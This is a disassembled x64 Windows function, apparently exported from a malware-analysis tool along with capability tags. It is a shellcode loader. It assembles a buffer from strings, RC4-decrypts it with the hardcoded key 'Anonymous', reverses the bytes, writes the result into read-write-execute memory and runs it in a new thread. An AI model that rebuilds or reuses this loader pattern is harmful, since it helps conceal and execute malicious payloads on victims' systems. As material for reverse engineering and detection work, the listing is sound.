Function at 0x140042190
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
mov rax, rsp
push rbp
push rbx
push r12
lea rbp, [rax - 0x3a8]
sub rsp, 0x490
xor r12d, r12d
mov qword [rax + 8], rsi
mov qword [rax + 0x10], rdi
mov ecx, r12d
mov rdi, qword [0x1401d3a60]
mov edx, 0xf
mov qword [rax + 0x18], r14
mov r8d, r12d
mov r14, qword [0x1401d3a68]
mov qword [rax + 0x20], r15
mov qword [rsp + 0x50], r12
mov qword [rsp + 0x60], rcx
mov qword [rsp + 0x68], rdx
cmp rdi, r14
je 0x14004225a
cmp qword [rdi + 0x18], 0x10
mov r9, rdi
jb 0x1400421f2
mov r9, qword [rdi]
mov rsi, qword [rdi + 0x10]
mov rax, rdx
sub rax, rcx
cmp rsi, rax
ja 0x14004222e
cmp rdx, 0x10
lea rax, [rcx + rsi]
lea rbx, [rsp + 0x50]
mov qword [rsp + 0x60], rax
cmovae rbx, r8
mov rdx, r9
add rbx, rcx
mov r8, rsi
mov rcx, rbx
call fcn.140047b40
mov byte [rbx + rsi], r12b
jmp 0x140042240
mov rdx, rsi
mov qword [rsp + 0x20], rsi
lea rcx, [rsp + 0x50]
call fcn.140042d10
add rdi, 0x20
cmp rdi, r14
je 0x14004225a
mov rdx, qword [rsp + 0x68]
mov rcx, qword [rsp + 0x60]
mov r8, qword [rsp + 0x50]
jmp 0x1400421e5
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x30]
call fcn.140040f20
mov rdx, qword [rsp + 0x40]
mov r9d, 0x40
mov r8d, 0x1000
xor ecx, ecx
call qword [sym.imp.KERNEL32.DLL_VirtualAlloc]
mov r15, rax
test rax, rax
jne 0x1400422a7
lea rdx, str.Error_allocating_memory.
call fcn.1400428c0
mov rcx, rax
call fcn.140042bb0
lea ebx, [r15 + 1]
jmp 0x1400425ac
movdqa xmm2, xmmword [0x1401b4140]
lea rdx, [rbp - 0x60]
mov qword [rbp + 0x380], r12
mov ecx, 8
nop
lea eax, [rcx - 8]
movd xmm0, eax
lea rdx, [rdx + 0x40]
pshufd xmm0, xmm0, 0
lea eax, [rcx - 4]
paddd xmm0, xmm2
movd xmm1, eax
movdqu xmmword [rdx - 0x60], xmm0
lea eax, [rcx + 4]
pshufd xmm1, xmm1, 0
paddd xmm1, xmm2
movd xmm0, ecx
movdqu xmmword [rdx - 0x50], xmm1
add ecx, 0x10
movd xmm1, eax
pshufd xmm0, xmm0, 0
pshufd xmm1, xmm1, 0
paddd xmm0, xmm2
movdqu xmmword [rdx - 0x40], xmm0
lea eax, [rcx - 8]
paddd xmm1, xmm2
movdqu xmmword [rdx - 0x30], xmm1
cmp eax, 0x100
jl 0x1400422c0
mov r8d, r12d
lea r10, [rbp - 0x80]
mov r9d, r12d
lea rbx, str.Anonymous
nop dword [rax]
nop word [rax + rax]
mov r11d, dword [r10]
mov ecx, r9d
mov eax, 0x38e38e39
mul r9d
shr edx, 1
lea eax, [rdx + rdx*8]
sub ecx, eax
movzx ecx, byte [rcx + rbx]
add ecx, r11d
add r8d, ecx
and r8d, 0x800000ff
jge 0x140042375
dec r8d
or r8d, 0xffffff00
inc r8d
movsxd rax, r8d
lea rcx, [rbp - 0x80]
lea rcx, [rcx + rax*4]
inc r9d
mov eax, dword [rcx]
mov dword [r10], eax
add r10, 4
movzx eax, r11b
mov dword [rcx], eax
cmp r9d, 0x100
jl 0x140042340
mov rcx, qword [rsp + 0x48]
lea r8, [rsp + 0x30]
mov rax, qword [rsp + 0x30]
cmp rcx, 0x10
mov esi, dword [rsp + 0x40]
cmovae r8, rax
test esi, esi
je 0x14004247c
mov r10d, dword [rbp + 0x384]
mov r11d, esi
mov r9d, dword [rbp + 0x380]
nop
lea eax, [r9 + 1]
and eax, 0x800000ff
jge 0x1400423e4
dec eax
or eax, 0xffffff00
inc eax
mov dword [rbp + 0x380], eax
lea r9, [rbp - 0x80]
cdqe
mov ecx, dword [r9 + rax*4]
lea r9, [r9 + rax*4]
add ecx, r10d
and ecx, 0x800000ff
jge 0x14004240d
dec ecx
or ecx, 0xffffff00
inc ecx
mov dword [rbp + 0x384], ecx
movzx edx, byte [r9]
movsxd rax, ecx
mov ecx, dword [rbp + rax*4 - 0x80]
mov dword [r9], ecx
movsxd rax, dword [rbp + 0x384]
mov dword [rbp + rax*4 - 0x80], edx
movsxd r10, dword [rbp + 0x384]
movsxd r9, dword [rbp + 0x380]
mov edx, dword [rbp + r10*4 - 0x80]
add edx, dword [rbp + r9*4 - 0x80]
and edx, 0x800000ff
jge 0x140042456
dec edx
or edx, 0xffffff00
inc edx
movsxd rax, edx
movzx ecx, byte [rbp + rax*4 - 0x80]
xor byte [r8], cl
inc r8
sub r11, 1
jne 0x1400423d0
mov rcx, qword [rsp + 0x48]
mov esi, dword [rsp + 0x40]
mov rax, qword [rsp + 0x30]
cmp rcx, 0x10
movsxd r14, esi
lea rbx, [rsp + 0x30]
mov rcx, r14
cmovae rbx, rax
call fcn.140045f34
mov rdi, rax
test esi, esi
jle 0x1400424a8
mov r8, r14
xor edx, edx
mov rcx, rax
call fcn.140048210
movsxd r8, esi
mov rcx, r12
sub r8, 1
js 0x1400424f0
lea rdx, [r8 + rbx]
nop dword [rax + rax]
movzx eax, byte [rdx]
lea rdx, [rdx - 1]
mov byte [rcx + rdi], al
inc rcx
cmp rcx, r8
jle 0x1400424c0
mov rdx, rdi
lea rcx, [r8 + 1]
sub rdx, rbx
nop dword [rax]
movzx eax, byte [rdx + rbx]
mov byte [rbx], al
lea rbx, [rbx + 1]
sub rcx, 1
jne 0x1400424e0
mov rcx, rdi
call fcn.140045e30
cmp qword [rsp + 0x48], 0x10
lea rbx, [rsp + 0x30]
mov qword [rsp + 0x70], r12
cmovae rbx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.DLL_GetCurrentProcess]
mov r9, qword [rsp + 0x40]
mov r8, rbx
mov rcx, rax
mov rdx, r15
lea rax, [rsp + 0x70]
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.DLL_WriteProcessMemory]
test eax, eax
jne 0x14004253f
lea rdx, str.Error_writing_to_memory.
jmp 0x140042565
mov qword [rsp + 0x28], r12
xor r9d, r9d
mov r8, r15
mov dword [rsp + 0x20], r12d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.DLL_CreateThread]
test rax, rax
jne 0x14004258a
lea rdx, str.Error_creating_thread.
call fcn.1400428c0
mov rcx, rax
call fcn.140042bb0
mov r8d, 0x8000
xor edx, edx
mov rcx, r15
call qword [sym.imp.KERNEL32.DLL_VirtualFree]
mov ebx, 1
jmp 0x1400425ac
mov edx, 0xffffffff
mov rcx, rax
call qword [sym.imp.KERNEL32.DLL_WaitForSingleObject]
xor edx, edx
mov r8d, 0x8000
mov rcx, r15
call qword [sym.imp.KERNEL32.DLL_VirtualFree]
mov ebx, r12d
mov rdx, qword [rsp + 0x48]
mov r15, qword [rsp + 0x4c8]
mov r14, qword [rsp + 0x4c0]
mov rdi, qword [rsp + 0x4b8]
mov rsi, qword [rsp + 0x4b0]
cmp rdx, 0x10
jb 0x140042605
mov rcx, qword [rsp + 0x30]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140042600
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004265f
call fcn.140045e30
mov rdx, qword [rsp + 0x68]
mov qword [rsp + 0x40], r12
mov qword [rsp + 0x48], 0xf
mov byte [rsp + 0x30], r12b
cmp rdx, 0x10
jb 0x140042651
mov rcx, qword [rsp + 0x50]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004264c
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004265f
call fcn.140045e30
mov eax, ebx
add rsp, 0x490
pop r12
pop rbx
pop rbp
ret
call fcn.14004c464
int3